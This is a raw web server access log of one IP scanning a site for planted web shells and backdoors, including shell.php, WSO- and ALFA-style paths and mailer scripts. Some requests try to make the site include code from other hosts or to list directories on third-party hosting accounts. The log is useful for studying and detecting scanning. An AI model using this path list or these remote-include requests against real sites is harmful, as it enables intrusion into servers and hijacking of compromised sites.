52.169.149.163 - - [15/Apr/2025:08:57:47 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:50 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:54 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:57 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:58 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:00 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:05 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:11 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:14 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:18 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:20 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:24 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:26 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:30 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:33 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:35 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:38 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:41 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:43 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:46 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:49 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:52 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:56 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:57 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:58:59 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:01 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:02 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:05 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:07 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:10 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:14 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:17 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:21 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:24 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:26 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:29 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:31 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:35 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:39 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:42 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:45 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:50 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:51 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:53 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:54 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:59:56 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:00 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:06 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:13 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:19 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:24 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:31 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:37 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:40 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:41 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:44 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:47 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:52 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:00:57 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:02 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:05 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:07 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:08 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:10 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:12 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:14 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:15 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:16 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:18 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:19 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:21 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:23 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:25 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:26 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:27 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:28 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:30 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:33 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:36 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:37 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:38 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:39 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:40 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:41 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:42 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:43 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:44 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:45 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:45 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:47 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:47 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:48 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:49 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:50 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:51 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:52 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:53 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:54 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:55 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:57 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:01:58 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:00 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:01 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:02 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:04 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:05 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:05 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:06 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:07 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:08 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:09 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:12 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:14 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:17 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:19 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:21 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:22 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:25 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:28 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:29 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:34 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:36 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:38 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:40 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:43 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:46 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:48 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:51 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:54 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:55 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:57 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:02:59 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:01 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:04 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:06 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:09 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:10 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:15 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:17 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:20 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:23 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:24 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:26 -0400] "GET /nzouv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:27 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:28 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:29 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:30 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:31 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:33 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:35 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:37 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:38 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:39 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:41 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:42 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:43 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:45 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:45 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:46 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:47 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:48 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:49 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:50 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:51 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:54 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:56 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:03:58 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:00 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:02 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:06 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:10 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:13 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:17 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:19 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:24 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:27 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:29 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:33 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:35 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:37 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:39 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:42 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:44 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:47 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:48 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:49 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:50 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:51 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:52 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:53 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:54 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:56 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:58 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:04:59 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:00 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:01 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:04 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:06 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:08 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:12 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:16 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:19 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:22 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:26 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:30 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:35 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:37 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:40 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:42 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:47 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:51 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:05:56 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:01 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:09 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:17 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:21 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:27 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:30 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:34 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:38 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:43 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:49 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:53 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:06:57 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:00 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:03 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:07 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:12 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:16 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:22 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:23 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:25 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:29 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:33 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:35 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:38 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:40 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:43 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:48 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:52 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:07:57 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:01 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 